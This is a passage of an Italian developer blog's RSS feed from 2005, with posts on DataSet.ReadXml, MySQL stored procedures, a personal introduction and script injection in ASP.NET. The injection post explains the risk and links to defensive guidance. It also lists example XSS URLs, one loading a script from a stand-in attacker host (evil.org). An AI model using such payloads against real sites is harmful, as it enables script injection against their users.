ds.ReadXml(sr);&lt;br /&gt;
sr.Close();&lt;br /&gt;
//Binding&lt;br /&gt;
this.Repeater1.DataSource = ds.Tables[0].DefaultView;&lt;br /&gt;
this.Repeater1.DataBind();
&lt;/code&gt;
&lt;/p&gt;

&lt;p&gt;
Spero che a qualcuno possa essere di aiuto.
&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Nicola Baldi</dc:creator><category>Generale</category><guid isPermaLink="true">http://blogs.aspitalia.com/naighes/post1306/DataSet.ReadXml-Spazi-Nomi.aspx</guid><slash:comments>0</slash:comments><wfw:comments>http://blogs.aspitalia.com/naighes/post1306/DataSet.ReadXml-Spazi-Nomi.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/naighes/CommentRSS1306.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=1306</trackback:ping></item><item><title>Injection Attacks!</title><link>http://blogs.aspitalia.com/naighes/post1304/Injection-Attacks.aspx</link><pubDate>Mon, 24 Oct 2005 09:19:00 GMT</pubDate><description>&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=1304' border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Navigando un po' in rete, mi sono reso conto che esistono svariate tipologie di attacchi basati su script injection.&lt;br /&gt;Un tipica situazione a rischio consiste, ad esempio, nel far uso di un HtmlGenericControl, ricevere l'input di un utente e di utilizzare la proprieta' innerHml per mostrarlo all'interno di una pagina.&lt;/p&gt;&lt;p&gt;Qualche esempio:&lt;/p&gt;&lt;p&gt;http://trusted.org/search.aspx?param=&lt;script&gt;&lt;/script&gt;&lt;br /&gt;http://trusted.org/search.aspx?param=&lt;script src="http://evil.org/badkama.js"&gt;&lt;/script&gt;&lt;br /&gt;http://trusted.org/COM2.IMG%20src= &amp;quot;Javascript:alert(document.domain)&amp;quot;&lt;/p&gt;&lt;p&gt;In questo caso, e' sufficiente stampare il valori in Querystring per andare incontro a grane. (questo dipende anche, ovviamente, dal valore della proprieta' validateRequest)&lt;br /&gt;Questa tecnica e' abbastanza banale, ma ne esistono moltissime piu' o meno efficaci.&lt;br /&gt;In giro per la rete si possono trovare svariati articoli che trattano un po' tutte le tipologie di attacco... l'importante e' prendere atto che queste cose esistono! (io personalmente, non vi ho mai prestato la dovuta attenzione)&lt;/p&gt;&lt;p&gt;Su MSDN e' presente un articolo, abbastanza recente, che tratta la validazione degli input con ASP.NET.&lt;/p&gt;&lt;p&gt;&lt;a href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnpag2/html/paght000003.asp"&gt;&lt;strong&gt;How To: Protect From Injection Attacks in ASP.NET&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Una letturina non fa assolutamente male! ;-)&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href="http://tags.aspitalia.com/Security/" rel="tag"&gt;Security&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Nicola Baldi</dc:creator><category>Generale, Security</category><guid isPermaLink="true">http://blogs.aspitalia.com/naighes/post1304/Injection-Attacks.aspx</guid><slash:comments>0</slash:comments><wfw:comments>http://blogs.aspitalia.com/naighes/post1304/Injection-Attacks.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/naighes/CommentRSS1304.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=1304</trackback:ping></item><item><title>Primo post!</title><link>http://blogs.aspitalia.com/naighes/post1057/Post.aspx</link><pubDate>Mon, 24 Oct 2005 09:18:00 GMT</pubDate><description>&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=1057' border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Salve a tutti!&lt;br /&gt;Dal momento che Daniele mi ha offerto l'opportunità di aprire un blog all'interno di questa comunità, che ormai frequento da molto tempo, mi sembra quantomeno doveroso presentarmi a tutti gli utenti.&lt;br /&gt;Mi chiamo Nicola Baldi, sono nato a Lucca nel 1977 e attualmnte frequento la facoltà di informatica presso l'università di Pisa (anche se, da un pò di tempo, sto concentrando i miei sforzi sulla piattaforma .NET, trascurando così gli esami che mi mancano a conseguire l'ambito traguardo!).&lt;br /&gt;Mi sono avvicinato al mondo della programmazione qualche anno fa, quando ho intrepreso la carrera universitaria. Nel corso di quest'ultima ho avuto modo di familiarizzare con Java, sul quale vertevano la maggior parte dei laboratori e, in una specifica circostanza, sempre in ambito universitario, mi sono trovato anche a sviluppare un piccolo progettino in linguaggio C.&lt;br /&gt;Circa due anni fa ho cominciato a sviluppare le mie prime pagine web con l'ausilio delle ASP mentre l'anno scorso ho scoperto il .NET Framework... ed è stato amore a prima vista! ;-)&lt;br /&gt;Attualmente mi dedico prevalentemente allo sviluppo di applicazioni web utilizzando VB.NET, anche se vorrei &amp;quot;migrare&amp;quot; a C# prima possibile. (e pensare che ero abituato alla sintassi di java... ma perchè non sono passato subito a C#?! ;-))&lt;br /&gt;&lt;br /&gt;Spero che questo blog mi consenta di condividere e confrontare con voi le esperienze che sto maturando in questo settore.&lt;/p&gt;&lt;p&gt;Buon lavoro (e buono studio...) a tutti!&lt;/p&gt;&lt;p&gt;PS. Domani mi operano per un'ernia... :-( spero di non assentarmi troppo! ;-)&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Nicola Baldi</dc:creator><category>Generale</category><guid isPermaLink="true">http://blogs.aspitalia.com/naighes/post1057/Post.aspx</guid><slash:comments>1</slash:comments><wfw:comments>http://blogs.aspitalia.com/naighes/post1057/Post.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/naighes/CommentRSS1057.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=1057</trackback:ping></item><item><title>MySql 5.0 : Stored Procedure</title><link>http://blogs.aspitalia.com/naighes/post1192/MySql-5.0-Stored-Procedure.aspx</link><pubDate>Thu, 08 Sep 2005 12:34:00 GMT</pubDate><description>&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=1192' border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Salve a tutti!&lt;br /&gt;Un po' di tempo fa, consultando il Blog di Andrea Zani, sono venuto a conoscenza di una nuova classe .NET per accedere a MySql. Quale occasione migliore per avvicinarmi a questo database? :-)&lt;/p&gt;&lt;p&gt;In questi giorni ho installato sul mio pc la nuova versione (5.0, ancora in beta...) e scopro che tra le (molte) nuove funzionalita' introdotte, vi e' la possibilita' di realizzare &amp;quot;Stored Procedure&amp;quot;.&lt;br /&gt;A tal proposito, vi consiglio il seguente link: &lt;a href="http://dev.mysql.com/tech-resources/articles/mysql-storedprocedures.html"&gt;http://dev.mysql.com/tech-resources/articles/mysql-storedprocedures.html&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Un esempio:&lt;/p&gt;&lt;p&gt;&lt;code&gt;CREATE PROCEDURE procedure1&lt;br /&gt;(IN parameter1 INTEGER)&lt;br /&gt;BEGIN&lt;br /&gt;  DECLARE variable1 CHAR(10);&lt;br /&gt;  IF parameter1 = 17 THEN&lt;br /&gt;    SET variable1 = 'birds';&lt;br /&gt;  ELSE&lt;br /&gt;    SET variable1 = 'beasts';&lt;br /&gt;  END IF;&lt;br /&gt;  INSERT INTO table1 VALUES (variable1);&lt;br /&gt;END&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Ovviamente, l'interfacciamento con la base di dati lo effettuiamo utilizzando la classe segnalata nel Blog di Andrea Zani. Potete scaricarla al seguente indirizzo:&lt;br /&gt;&lt;a href="http://dev.mysql.com/downloads/connector/net/1.0.html"&gt;http://dev.mysql.com/downloads/connector/net/1.0.html&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Un esempio di codice VB.NET:&lt;/p&gt;&lt;p&gt;&lt;code&gt;Public Sub ExecProc(ByVal value As Integer)&lt;br /&gt;   Dim conn As New MySqlConnection(&amp;quot;Database=Test;Data Source=localhost;User Id=username;Password=pass&amp;quot;) &lt;br /&gt;   Dim cmd As New MySqlCommand(&amp;quot;procedure1&amp;quot;, conn) &lt;br /&gt;   cmd.CommandType = CommandType.StoredProcedure &lt;br /&gt;   Dim param1 As New MySqlParameter(&amp;quot;?parameter1&amp;quot;, MySqlDbType.Int32) &lt;br /&gt;   param1.Value = value&lt;br /&gt;   cmd.Parameters.Add(param1)&lt;br /&gt;   conn.Open() &lt;br /&gt;   cmd.ExecuteNonQuery() &lt;br /&gt;   conn.Close()&lt;br /&gt;End Sub&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href="http://tags.aspitalia.com/Database/" rel="tag"&gt;Database&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/MySQL/" rel="tag"&gt;MySQL&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Nicola Baldi</dc:creator><category>Generale, Database, MySQL</category><guid isPermaLink="true">http://blogs.aspitalia.com/naighes/post1192/MySql-5.0-Stored-Procedure.aspx</guid><slash:comments>6</slash:comments><wfw:comments>http://blogs.aspitalia.com/naighes/post1192/MySql-5.0-Stored-Procedure.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/naighes/CommentRSS1192.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=1192</trackback:ping></item></channel></rss>